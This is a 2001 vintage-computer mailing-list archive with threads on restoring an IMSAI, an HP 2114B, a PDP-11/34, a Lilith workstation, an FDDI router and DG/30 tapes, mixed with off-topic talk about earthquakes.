ROLM MSC in the early 80's. The MSC campus was located in San Jose, on North First, and was (at the time) a standard-issue south bay two story tilt-up for offices along with a large single-story structure for manufacturing. One afternoon I and a few other people were at the coffee station outside the machine room when a modest earthquake hit. It was interesting watching waves roll through the concrete slab on which we were standing. The episode also immediately exposed the California natives (we're the ones who stood around watching the waves in the floor while drinking coffee and eyeing the nearest desks and doorways) and the non-natives (who went screaming out of the building). > Now that I'm a home owner living within 20 miles of a major fault, I don't > have such a cavalier attitude anymore, especially since earthquake > insurance in California is a funny joke (i.e. even if you could afford it, > it's better to forgo it and take your chances). Or, as one agent put it to me "be sure you knock over a candle on your way out of your earthquake damaged house". -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From bshannon at tiac.net Sat Jun 9 01:16:52 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:20 2005 Subject: IMSAI EPROMS References: Message-ID: <3B21BF54.DC1D7DAA@tiac.net> Joel Weder wrote: > Hi all... > > I've been trying to get some action from this IMSAI for awhile now. Main > problem is I don't know what is on the EPROMs on the EconoROM board. It > looks like banks A & B, OR banks C & D, can be enabled together starting at > address 0000h. There are 6 2708's in A0 through B1, and 8 2708's in C0 > through C3. > > I've been looking for an EPROM burner that can read/write 2708's with no > luck so far. We have TWO machines at work, and neither will do it. Anyone > know of a burner that WILL? Yep, I can read 'em. From jpl15 at panix.com Sat Jun 9 01:14:22 2001 From: jpl15 at panix.com (John Lawson) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Message-ID: IIRC, the largest US quake (of which we have reliable evidence) in the last 150 years was on the New Madrid fault in (I think) Tennessee, which changed the course of the Ohio River. It was approaching a 9.0 R. So California can not claim to have *all* the fun. Cheers John From bshannon at tiac.net Sat Jun 9 01:32:12 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:20 2005 Subject: Need documentation on a 2114B HP Computer References: Message-ID: <3B21C2EC.7F905167@tiac.net> I can help you here! Check out the HP archive site for the copies of the assembler manual. I have the cross assembler working under DOS/Windows. 2114's are great machines! Lucas J Cashdollar wrote: > Hello Reader, > > I work at the University of Pittsburgh Physics department and we > have a 2114B HP computer in storage. I tracked down the software for it > but I do not have any manuals on how to run the thing. If someone could > help me out with an operations manual and maybe an instruction set or > something the information would be appreciated. > > Thanks, > > Luke Cashdollar > > > > From jss at ou.edu Sat Jun 9 01:36:05 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:20 2005 Subject: Huge PDP-11 rescue opportunity In-Reply-To: <3B2195BE.89ADD340@aurora.regenstrief.org> References: <991967553.3b20394186926@email.ou.edu> <3B2195BE.89ADD340@aurora.regenstrief.org> Message-ID: <992068565.3b21c3d556633@email.ou.edu> Quoting Gunther Schadow : > And I hope that the lucky guy who takes this huge load will > cosider swinging by your house and leave one for you! That would be highly acceptable... :-) -- Jeffrey S. Sharp jss@ou.edu From edick at idcomm.com Sat Jun 9 02:50:15 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:20 2005 Subject: IMSAI EPROMS References: <3B21BF54.DC1D7DAA@tiac.net> Message-ID: <002201c0f0b8$d2566560$9cc762d8@idcomm.com> It's probably not a bad idea to modify the EPROM board to accept the single-supply (Intel-style) 2716, or even 2732. It's not difficult, and, once that's done, you simply read the 2708's and transfer their content into 2716's or 2732's. You can hack the voltage regulator circuit such that the two additional regulators become pass transistors for the +5, which is the only supply the I2716's and I2732's need. Almost every programmer you encounter can handle these later, single supply EPROMs. Dick ----- Original Message ----- From: "Bob Shannon" To: Sent: Saturday, June 09, 2001 12:16 AM Subject: Re: IMSAI EPROMS > > > Joel Weder wrote: > > > Hi all... > > > > I've been trying to get some action from this IMSAI for awhile now. Main > > problem is I don't know what is on the EPROMs on the EconoROM board. It > > looks like banks A & B, OR banks C & D, can be enabled together starting at > > address 0000h. There are 6 2708's in A0 through B1, and 8 2708's in C0 > > through C3. > > > > I've been looking for an EPROM burner that can read/write 2708's with no > > luck so far. We have TWO machines at work, and neither will do it. Anyone > > know of a burner that WILL? > > Yep, I can read 'em. > > From peter at joules.org Sat Jun 9 04:05:59 2001 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin In-Reply-To: References: Message-ID: <01060910122100.02883@pluto.joules.org> On Sat, 09 Jun 2001, you wrote: > IIRC, the largest US quake (of which we have reliable evidence) in the > last 150 years was on the New Madrid fault in (I think) Tennessee, which > changed the course of the Ohio River. It was approaching a 9.0 R. > > So California can not claim to have *all* the fun. You Americans get all the fun... Here in the UK I have only experienced one earthquake, big by our stanadrds, of about 3 R, it felt like a particularly heavy truck going past. We never have any _decent_ tornadoes, just whirwinds which knock over a few trees. We haven't got any volcanoes, and decent thunderstorms are few and far between. The closest I get to the wild side of nature is to watch it on TV :(. I must point out so as not to cause offence that I accept that these things cause tragedy for many people, and should probably not be perceived as fun. -- Regards Pete From pete at dunnington.u-net.com Sat Jun 9 04:50:58 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:20 2005 Subject: Proteon P4200 and Suminet 3500H/FDDI In-Reply-To: Brian Hechinger "Proteon P4200 and Suminet 3500H/FDDI" (Jun 8, 22:46) References: <20010608224604.G50540@tmok.com> Message-ID: <10106091050.ZM13476@indy.dunnington.u-net.com> On Jun 8, 22:46, Brian Hechinger wrote: > i have found absolutely nothing out about the Suminet though. i can't find > docs for it, actually i can find very little about this thing on the internet. > if anyone has any info whatsoever, please let me know, it's got a serial port > that looks like it would be a console, but it only prints the same line over > and over (i'd have to hook it up to get a copy of the line) and it's nothing > intelligable. All I know is that Suminet is a Japanese brand of network equipment, and a 3500H is an FDDI DAS (dual-attach) to Ethernet (and possibly Token Ring) router. I've never seen any Suminet kit, but if you tell us what the connectors look like, and how many there are, maybe I can tell you what you have. If some are 15-pin D-connectors, it would help to know whether they have clips or screws for mounting, and whether they are male or female. As for the serial port, I'd expect it is indeed a console line, and you've just got the wrong baud rate. Or it's Japanese! I still haven't quite got my own FDDI up and running, partly due to a faulty SAS card in one of my SGIs. If anyone has any surplus FDDI boards for SGI kit, especially GIO DAS, or any surplus *small* bridges or routers, I'd be interested to hear from you... -- Pete Peter Turnbull Network Manager University of York From rhblake at bigfoot.com Sat Jun 9 05:02:17 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <3B21B31A.465BBEA9@internet1.net> Message-ID: I know about that and I also know that Reelfoot lake ont he west side of TN was created by the same fault but what I'm referring to is all of the doomsday talk that the end of the world is coming from New Madrid MO soon. Anywhere has tremors and quakes, because we live on the plates of the crust of the earth. The Mississippi and Ohio river confluences are very close to NEw Madrid which might indicate that the fault's lines are the river beds. What I'm not buying is the talk of of some terrible thing soon that will open the earth - just as many Californians aren't out buying future beachfront property in Nevada and Arizona. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Chad Fernandez > Sent: Saturday, June 09, 2001 12:25 AM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > > > Russ, > > It's not mythical. About 10 to 15 years ago we got a small quake out of > it. I think it is in Ohio, but we felt a little tremor here in > Michigan. My uncle was building a dock in a lake, while a boat slowly > went by, during the tremor. He wondered how such a small boat, going so > slowly, could make such forceful wake :-) I was sitting in church, on a > Wed night, and the kid in front of me thought I was pushing on his > chair. > > Chad Fernandez > Michigan, USA > > Russ Blakeman wrote: > > Of course > > we also have some mythical fault here in the midwest that will > be doomsday > > someday but no one seems to know when. From rhblake at bigfoot.com Sat Jun 9 05:07:21 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:20 2005 Subject: Subject: Re: Storage of computer and parts in the residentialare a In-Reply-To: <3B21B52E.D6C5B013@internet1.net> Message-ID: There were lots of silos from the Atlas days that were cleared and sold more than 20 yrs ago. The Atlas didn't last long and most were scrapped in the middle 60's after just a few years in service. Upstate NY still has quite a few that were converted to shelters, observatories, underground labs, homes, etc. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Chad Fernandez > Sent: Saturday, June 09, 2001 12:34 AM > To: classiccmp@classiccmp.org > Subject: Re: Subject: Re: Storage of computer and parts in the > residentialare a > > > 20 years ago? I didn'tthink they had decomished any silos back then? > > Chad Fernandez > Michigan, USA > > "Zane H. Healy" wrote: > > The scariest thing along these lines was something I saw on TV about 20 > > years. This family was living in a silo, and in the bottom > they'd built a > > replica of the original bridge of the Starship Enterprise. > Somehow that's > > something that was scary enough to have really stuck in my brain! > > > > Zane From rhblake at bigfoot.com Sat Jun 9 05:07:22 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin In-Reply-To: <01060910122100.02883@pluto.joules.org> Message-ID: If you did have tornadoes and earthquakes you'd probably have a bad weather tax too :-) Want some fun weather? Go to Iceland around late December when the south winds bring up warm air into subzero hard frozen weather and an effect similar to a hurricane occurs, only with driving rains and high winds on top of hard packed frozen snow and ice. Makes for an interesting couple days. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Peter Joules > Sent: Saturday, June 09, 2001 4:06 AM > To: classiccmp@classiccmp.org > Subject: RE: Talking 'bout shakin & quakin > > > On Sat, 09 Jun 2001, you wrote: > > IIRC, the largest US quake (of which we have reliable evidence) in the > > last 150 years was on the New Madrid fault in (I think) Tennessee, which > > changed the course of the Ohio River. It was approaching a 9.0 R. > > > > So California can not claim to have *all* the fun. > > You Americans get all the fun... Here in the UK I have only > experienced one > earthquake, big by our stanadrds, of about 3 R, it felt like a > particularly > heavy truck going past. We never have any _decent_ tornadoes, > just whirwinds > which knock over a few trees. We haven't got any volcanoes, and decent > thunderstorms are few and far between. > > The closest I get to the wild side of nature is to watch it on TV :(. > > I must point out so as not to cause offence that I accept that > these things > cause tragedy for many people, and should probably not be > perceived as fun. > > > -- > Regards > Pete From rhblake at bigfoot.com Sat Jun 9 05:12:11 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Message-ID: That's the one that created Reelfoot Lake in TN...caused the Mississippi to run backward for a day or two while water was opened to a new space to fill. I don't think many people were hurt in it though, unlike the one in San Francisco in 1906 (?) that pretty well destroyed most of SF. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of John Lawson > Sent: Saturday, June 09, 2001 1:14 AM > To: classiccmp@classiccmp.org > Subject: RE: Talking 'bout shakin & quakin (was Re: Storage of computer > and parts in the residential area) > > > > IIRC, the largest US quake (of which we have reliable evidence) in the > last 150 years was on the New Madrid fault in (I think) Tennessee, which > changed the course of the Ohio River. It was approaching a 9.0 R. > > So California can not claim to have *all* the fun. > > Cheers > > John > > > From owad at applefritter.com Sat Jun 9 06:21:11 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:04:20 2005 Subject: Infocipher receivers In-Reply-To: <4.3.2.7.0.20010608202106.01cf86d0@pc> References: <4.3.2.7.0.20010608202106.01cf86d0@pc> Message-ID: <20010609112111.19005@mail.earthlink.net> >I seem to remember that the entire Rogers cable network >broadcast the data, and I could get the data here in SE Wisconsin >even though the modems were not advertised locally. Sometime >within the last three years, the data feed stopped. I think >I have notes about it somewhere. Is there anything at all these might still be used for? Tom Applefritter www.applefritter.com From jos.mar at bluewin.ch Sat Jun 9 07:59:28 2001 From: jos.mar at bluewin.ch (jos.mar) Date: Sun Feb 27 19:04:20 2005 Subject: Lilith schematics anyone ? Message-ID: <01060915083400.00376@jos> I just took possession of a Lilith workstation, including two diskpacks and some spare boards..... Alas the Lilith doesn't function . While it still might be easy to fix, I'd rather have some schematics . Are these obtainable somewhere ? In particular I need to know if the boards marked "URAM" and "DPU" are essential or not, they are missing in my machine. "URAM" is not the main memory, since I seem to have a complete set of memory boards. Documentation I did get was limited to a short userguide with next to none technical info. I would love to see this thing get back into life... From jhellige at earthlink.net Sat Jun 9 07:50:46 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <3B21B31A.465BBEA9@internet1.net> References: <3B21B31A.465BBEA9@internet1.net> Message-ID: >It's not mythical. About 10 to 15 years ago we got a small quake out of >it. I think it is in Ohio, but we felt a little tremor here in >Michigan. My uncle was building a dock in a lake, while a boat slowly There's a major fault line that runs across southern Illinois, so I would assume it extends into Indiana and Ohio. There been talk about the possibility of having a major quake along it for years. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From wonko at tmok.com Sat Jun 9 09:13:16 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:20 2005 Subject: Proteon P4200 and Suminet 3500H/FDDI In-Reply-To: <10106091050.ZM13476@indy.dunnington.u-net.com>; from Pete Turnbull on Sat, Jun 09, 2001 at 09:50:58AM +0000 References: <20010608224604.G50540@tmok.com> <10106091050.ZM13476@indy.dunnington.u-net.com> Message-ID: <20010609101316.A53905@tmok.com> On Sat, Jun 09, 2001 at 09:50:58AM +0000, Pete Turnbull wrote: > > All I know is that Suminet is a Japanese brand of network equipment, and a yeah, searching on google i can find very little, but if i look up Sumitomo (the manufacturer) i can find a web poge for them. sadly they haven't made this thing in a long time, so there is no mention of it on their rather ugly web site. > 3500H is an FDDI DAS (dual-attach) to Ethernet (and possibly Token Ring) > router. I've never seen any Suminet kit, but if you tell us what the > connectors look like, and how many there are, maybe I can tell you what you > have. If some are 15-pin D-connectors, it would help to know whether they > have clips or screws for mounting, and whether they are male or female. As it's got DAS FDDI on the system board, a Dual AUI ethernet card and a token-ring card. each card has a set of status lights (couple leds in a row numbered starting from 0) and the DB-25 on the system board. > for the serial port, I'd expect it is indeed a console line, and you've > just got the wrong baud rate. Or it's Japanese! well, hmmmmm. i've tried a handful of rates/settings and haven't come up with much, tried straight through and roll-over, nothing works for me. if it's in japanese i have no idea what to expect output to look like on a non japanese terminal (if i added japanese support to solaris would tip be able to take advantage of that??) i can plug the thing in and show you the garbage i get at 9600 8n1 if you'd like. > I still haven't quite got my own FDDI up and running, partly due to a > faulty SAS card in one of my SGIs. If anyone has any surplus FDDI boards > for SGI kit, especially GIO DAS, or any surplus *small* bridges or routers, > I'd be interested to hear from you... nope, don't have any of that, sorry. finally got my FDDI ring into a sane state. DAS backbone ring with all the network equipment hanging off of that. all the sun boxes (that can support it anyway) have SAS FDDI cards and hook into a 3Com FDDI Hub. so far, i LOVE FDDI. now all i need are two 6U VME FDDI cards for my SGI 4d boxen, and a handful of TuboChannel FDDI cards for my one alpha, and my small army of DECstation 5000 beasts. oh, QBus FDDI would be kinda cool too. :) -brian (who has too many machine, most of them LARGE) From allain at panix.com Sat Jun 9 09:02:32 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:20 2005 Subject: Data Rescue Needed - DG 30 cartridge tapes References: Message-ID: <007e01c0f0ed$0368f760$8a0101ac@ibm23xhr06> ---- copy ----- A group of inexperienced Namibians inherited 8 cartridge tapes, allegedly for a DG30 which have subsequently been lost (many have tried to find them, they are gone). A copy of the tapes exists in South Africa. There are 8 tapes and no machines to run them on --------------- Richard I don't have a DG30** but I was wondering if these cartridges fit any of these descriptions: Quarter inch (tape width) cartridge Half inch Cassette ** perhaps somebody else does? John A. From peter at joules.org Sat Jun 9 09:34:54 2001 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin In-Reply-To: References: Message-ID: <01060915391403.02883@pluto.joules.org> On Sat, 09 Jun 2001, Russ Blakeman wrote: > If you did have tornadoes and earthquakes you'd probably have a bad weather > tax too :-) Yes, I wouldn't put it past the UK government, either that or they would make it illegal to go out in it in case someone got hurt and then say that the legislation was needed because of the popular demand for it. > Want some fun weather? Go to Iceland around late December when > the south winds bring up warm air into subzero hard frozen weather and an > effect similar to a hurricane occurs, only with driving rains and high winds > on top of hard packed frozen snow and ice. Makes for an interesting couple > days. That sounds interesting ;-) -- Regards Pete From rhblake at bigfoot.com Sat Jun 9 09:18:38 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: Uh-huh...the New Madrid fault and it funs from New Madrid MO to Pittsburgh PA. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Jeff Hellige > Sent: Saturday, June 09, 2001 7:51 AM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > There's a major fault line that runs across southern > Illinois, so I would assume it extends into Indiana and Ohio. There > been talk about the possibility of having a major quake along it for > years. > > Jeff > From jhellige at earthlink.net Sat Jun 9 10:21:33 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: References: Message-ID: >Uh-huh...the New Madrid fault and it funs from New Madrid MO to Pittsburgh >PA. I've not lived in the midwest for nearly 20 years now and couldn't remember what the name of it was until a few other posts mentioned it by name after I sent that. One thing about the midwest...if you like variety in your weather and seasons and such, it's a good place to go! Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From bkr at WildHareComputers.com Sat Jun 9 11:02:30 2001 From: bkr at WildHareComputers.com (Bruce Ray) Date: Sun Feb 27 19:04:20 2005 Subject: Data Rescue Needed - DG 30 cartridge tapes References: <007e01c0f0ed$0368f760$8a0101ac@ibm23xhr06> Message-ID: <001e01c0f0fd$9c3fc170$0100a8c0@dellhare> G'day group - I have been in contact with these folks with the DG/30 and will probably be able to help them. They are getting further information together since it is a multi-national, continent-spanning governmental group that is, uuuuuuhhh, "coordinating their options" at this point. Bruce bkr@SimuLogics.com or bkr@WildHareComputers.com ----- Original Message ----- From: "John Allain" To: ; "Richard Aukland" Sent: Saturday, June 09, 2001 8:02 AM Subject: Re: Data Rescue Needed - DG 30 cartridge tapes > ---- copy ----- > A group of inexperienced Namibians inherited 8 cartridge tapes, allegedly > for a DG30 which have subsequently been lost (many have tried to find them, > they are gone). A copy of the tapes exists in South Africa. There are 8 > tapes and no machines to run them on > --------------- > > Richard I don't have a DG30** but I was wondering if > these cartridges fit any of these descriptions: > > Quarter inch (tape width) cartridge > Half inch > Cassette > > ** perhaps somebody else does? > > John A. From pete at dunnington.u-net.com Sat Jun 9 11:51:11 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:20 2005 Subject: Proteon P4200 and Suminet 3500H/FDDI In-Reply-To: Brian Hechinger "Re: Proteon P4200 and Suminet 3500H/FDDI" (Jun 9, 10:13) References: <20010608224604.G50540@tmok.com> <10106091050.ZM13476@indy.dunnington.u-net.com> <20010609101316.A53905@tmok.com> Message-ID: <10106091751.ZM13663@indy.dunnington.u-net.com> On Jun 9, 10:13, Brian Hechinger wrote: > On Sat, Jun 09, 2001 at 09:50:58AM +0000, Pete Turnbull wrote: > it's got DAS FDDI on the system board, a Dual AUI ethernet card and a > token-ring card. each card has a set of status lights (couple leds in a row > numbered starting from 0) and the DB-25 on the system board. Well, you've obviously worked out what the ports are, and I doubt I can add anything to that. > > for the serial port, I'd expect it is indeed a console line, and you've > > just got the wrong baud rate. Or it's Japanese! > > well, hmmmmm. i've tried a handful of rates/settings and haven't come up with > much, tried straight through and roll-over, nothing works for me. if it's in > japanese i have no idea what to expect output to look like on a non japanese > terminal (if i added japanese support to solaris would tip be able to take > advantage of that??) i can plug the thing in and show you the garbage i get > at 9600 8n1 if you'd like. No, sounds like you've started where I would have. I'd have guessed most likely speed as 9600, 19200, and 1200. If you get garbage, you probably have the Rx/Tx round the right way, and I expect you've tried the comon speeds. I doubt if tip has Japanese support and it probably wouldn't help anyway. I wonder if it's worth snooping on either of the Ethernet ports? I wonder if it tries to bootp when it starts up? That might provide a way in. > On Sat, Jun 09, 2001 at 09:50:58AM +0000, Pete Turnbull wrote: > > I still haven't quite got my own FDDI up and running, partly due to a > > faulty SAS card in one of my SGIs. If anyone has any surplus FDDI boards > > for SGI kit, especially GIO DAS, or any surplus *small* bridges or routers, > > I'd be interested to hear from you... > > nope, don't have any of that, sorry. finally got my FDDI ring into a sane > state. DAS backbone ring with all the network equipment hanging off of that. > all the sun boxes (that can support it anyway) have SAS FDDI cards and hook > into a 3Com FDDI Hub. Sounds pretty cool. All I have is a Netbuilder with a DAS card set (and some AUIs and 10baseFL), and two SAS cards for my Indys. Hard to build a proper ring with SAS :-( > -brian (who has too many machine, most of them LARGE) Pete has, too :-) -- Pete Peter Turnbull Network Manager University of York From univac2 at earthlink.net Sat Jun 9 12:53:15 2001 From: univac2 at earthlink.net (Owen Robertson) Date: Sun Feb 27 19:04:20 2005 Subject: Booting RSX-11M On A PDP-11/34 Message-ID: I have pretty much no experience with DEC systems, or at least PDP-11s anyway. I have an 11/34 with three RL01 drives (only two are connected). The system works fine, I get the register printout on the console LA120, and I can examine, deposite, etc. When I put the RSX-11M pack in the RL01 drive, and ready it, I don't get any fault ligtht or anything. When I get everything set up, I tell the system to boot from drive 0. The light on the drive flashes rapidly, and I can hear it spinning. Then I get a lot of line feeds on the console, along with a few seemingly random characters, usually lower case Rs, Ss, and Ms. So, if anyone can tell me what I am doing wrong, or what I need to be doing, I would greatly appreciate it. Thanks, Owen From rdd at smart.net Sat Jun 9 13:01:48 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin In-Reply-To: <01060915391403.02883@pluto.joules.org> Message-ID: On Sat, 9 Jun 2001, Peter Joules wrote: > Yes, I wouldn't put it past the UK government, either that or they would make > it illegal to go out in it in case someone got hurt and then say that the > legislation was needed because of the popular demand for it. It's surprising that our ever so intelligent (or so they believe) politicians (grinning jackasses) have not passed laws here declaring it illegal to be outdoors during a thunderstorm or when one is approaching; after all, they are always trying to protect (or so they say, although we know that, for the most part, they're a bunch of interfering busybodies who despise such concepts as liberty and freedom) us (actually, they want to protect business interests who helped them get elected, those that they owe a favor to, who stand to gain financially in some way from further laws imposed upon us). -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From donm at cts.com Sat Jun 9 13:17:26 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:20 2005 Subject: Proteon P4200 and Suminet 3500H/FDDI In-Reply-To: <20010609101316.A53905@tmok.com> Message-ID: On Sat, 9 Jun 2001, Brian Hechinger wrote: > On Sat, Jun 09, 2001 at 09:50:58AM +0000, Pete Turnbull wrote: > > > > All I know is that Suminet is a Japanese brand of network equipment, and a > > yeah, searching on google i can find very little, but if i look up Sumitomo > (the manufacturer) i can find a web poge for them. sadly they haven't made > this thing in a long time, so there is no mention of it on their rather ugly > web site. > > > 3500H is an FDDI DAS (dual-attach) to Ethernet (and possibly Token Ring) > > router. I've never seen any Suminet kit, but if you tell us what the > > connectors look like, and how many there are, maybe I can tell you what you > > have. If some are 15-pin D-connectors, it would help to know whether they > > have clips or screws for mounting, and whether they are male or female. As > > it's got DAS FDDI on the system board, a Dual AUI ethernet card and a > token-ring card. each card has a set of status lights (couple leds in a row > numbered starting from 0) and the DB-25 on the system board. > > > for the serial port, I'd expect it is indeed a console line, and you've > > just got the wrong baud rate. Or it's Japanese! > > well, hmmmmm. i've tried a handful of rates/settings and haven't come up with > much, tried straight through and roll-over, nothing works for me. if it's in > japanese i have no idea what to expect output to look like on a non japanese > terminal (if i added japanese support to solaris would tip be able to take > advantage of that??) i can plug the thing in and show you the garbage i get > at 9600 8n1 if you'd like. I would rather expect it to look a lot like the Chinese spam that we see from Hong Kong and Taiwan occasionally. There is considerable similarity in their characters. - don > > I still haven't quite got my own FDDI up and running, partly due to a > > faulty SAS card in one of my SGIs. If anyone has any surplus FDDI boards > > for SGI kit, especially GIO DAS, or any surplus *small* bridges or routers, > > I'd be interested to hear from you... > > nope, don't have any of that, sorry. finally got my FDDI ring into a sane > state. DAS backbone ring with all the network equipment hanging off of that. > all the sun boxes (that can support it anyway) have SAS FDDI cards and hook > into a 3Com FDDI Hub. so far, i LOVE FDDI. now all i need are two 6U VME FDDI > cards for my SGI 4d boxen, and a handful of TuboChannel FDDI cards for my one > alpha, and my small army of DECstation 5000 beasts. oh, QBus FDDI would be > kinda cool too. :) > > -brian (who has too many machine, most of them LARGE) > From rhblake at bigfoot.com Sat Jun 9 13:17:45 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:20 2005 Subject: FS: Trakker 350 tape drive Message-ID: Have a Colorado (HP) Trakker 350 tape drive that's excess I need to sell as I've recently had to go to 3 gb tape due to expansion. If you have a broken Trakker drive or need to upgrade your present 250 to an increased size drive this works as a great replacement. Just the external drive, no power supply or cables though. $5.00 plus applicable USPS shipping cost - weighs about 4 lbs. Email me direct at rhblake@bigfoot.com if interested From donm at cts.com Sat Jun 9 13:24:27 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:20 2005 Subject: Data Rescue Needed - DG 30 cartridge tapes In-Reply-To: <001e01c0f0fd$9c3fc170$0100a8c0@dellhare> Message-ID: On Sat, 9 Jun 2001, Bruce Ray wrote: > I have been in contact with these folks with the DG/30 and will probably be > able to help them. They are getting further information together since it > is a multi-national, continent-spanning governmental group that is, > uuuuuuhhh, "coordinating their options" at this point. Recalling recent discussions about Nigeria, just don't send money Bruce. - don From ken at seefried.com Sat Jun 9 13:23:25 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:20 2005 Subject: Subject: Lilith schematics anyone ? In-Reply-To: <200106091717.MAA17745@opal.tseinc.com> References: <200106091717.MAA17745@opal.tseinc.com> Message-ID: <20010609182325.2659.qmail@mail.seefried.com> > From: "jos.mar" > Subject: Lilith schematics anyone ? > > I just took possession of a Lilith workstation, including two diskpacks > and some spare boards..... Now *that* is a real prize! I'm very envious. I would suggest you contact Dr. Wirth (wirth@inf.ethz.ch) directly and as him about this. Since he designed them, I assume he could help you. Ken Seefried, CISSP From rhblake at bigfoot.com Sat Jun 9 13:47:36 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:20 2005 Subject: Trakker 350 tape drive In-Reply-To: Message-ID: In addition I forgot to note that it includes 3 used DC2120 tapes. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Russ Blakeman > Sent: Saturday, June 09, 2001 1:18 PM > To: Classic Computer List > Subject: FS: Trakker 350 tape drive > > > Have a Colorado (HP) Trakker 350 tape drive that's excess I need > to sell as > I've recently had to go to 3 gb tape due to expansion. If you > have a broken > Trakker drive or need to upgrade your present 250 to an increased > size drive > this works as a great replacement. Just the external drive, no > power supply > or cables though. $5.00 plus applicable USPS shipping cost - > weighs about 4 > lbs. Email me direct at rhblake@bigfoot.com if interested > From bkr at WildHareComputers.com Sat Jun 9 14:10:40 2001 From: bkr at WildHareComputers.com (Bruce Ray) Date: Sun Feb 27 19:04:20 2005 Subject: Data Rescue Needed - DG 30 cartridge tapes References: Message-ID: <014a01c0f117$e0523680$0100a8c0@dellhare> Don [et al] - Yup, that was my initial reaction also. Funny... is this profiling or experience? The off-line conversations were quite detailed and seem like other gov situations we've dealt with: just change the name of the agencies, the continent and the panic level. Bruce ----- Original Message ----- From: "Don Maslin" To: Sent: Saturday, June 09, 2001 12:24 PM Subject: Re: Data Rescue Needed - DG 30 cartridge tapes > > > On Sat, 9 Jun 2001, Bruce Ray wrote: > > > I have been in contact with these folks with the DG/30 and will probably be > > able to help them. They are getting further information together since it > > is a multi-national, continent-spanning governmental group that is, > > uuuuuuhhh, "coordinating their options" at this point. > > Recalling recent discussions about Nigeria, just don't send money Bruce. > > - don > From Cliffatpms at aol.com Sat Jun 9 14:24:02 2001 From: Cliffatpms at aol.com (Cliffatpms@aol.com) Date: Sun Feb 27 19:04:20 2005 Subject: IBM 5150 key board Message-ID: I got your address from witchy@vorbis.demon.co.uk (Adrian Graham) who thinks you can help me out. I need to buy an IBM 5150 keyboard for an exhibition. AG thinks you can help. I need it in 10 days in the UK. Regards, Cliff -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010609/57768885/attachment.html From ard at p850ug1.demon.co.uk Sat Jun 9 15:47:18 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:20 2005 Subject: new source for ZILOG parts In-Reply-To: <200106090257.TAA04532@stockholm.ptloma.edu> from "Cameron Kaiser" at Jun 8, 1 07:57:24 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 409 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010609/03075112/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jun 9 15:52:30 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:20 2005 Subject: IMSAI 